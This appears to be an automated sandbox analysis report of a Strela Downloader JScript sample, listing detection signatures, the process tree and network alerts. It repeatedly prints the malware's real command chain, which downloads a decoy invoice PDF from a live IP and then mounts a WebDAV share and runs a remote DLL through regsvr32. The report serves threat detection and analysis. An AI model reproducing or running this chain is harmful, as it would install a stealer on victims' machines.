Edit tour

Windows Analysis Report
1957514819973625739.js

Overview

General Information

Sample name:	1957514819973625739.js
Analysis ID:	1588312
MD5:	0517219d06af2618d4addf49d60c7c0d
SHA1:	276d82ba0773e293454d58188414f7f8ff602ac7
SHA256:	88fd5cd132c86a35e4ce4fc8ac55cb771c3c42179fb6c4d55b4fc96c3d336278
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6876 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7044 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6180 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1800 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,7578541459819144635,9928862344272280672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3180 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5236 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5332 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6876	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6180, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6180, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ProcessId: 6876, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5236, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7044, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7044, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7044, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7044, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7044, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ProcessId: 6876, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6180, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3180, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5236, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5332, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3180, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5236, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7044, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:52:36.410793+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:52:34.142038+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1957514819973625739.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1957514819973625739.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:52:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

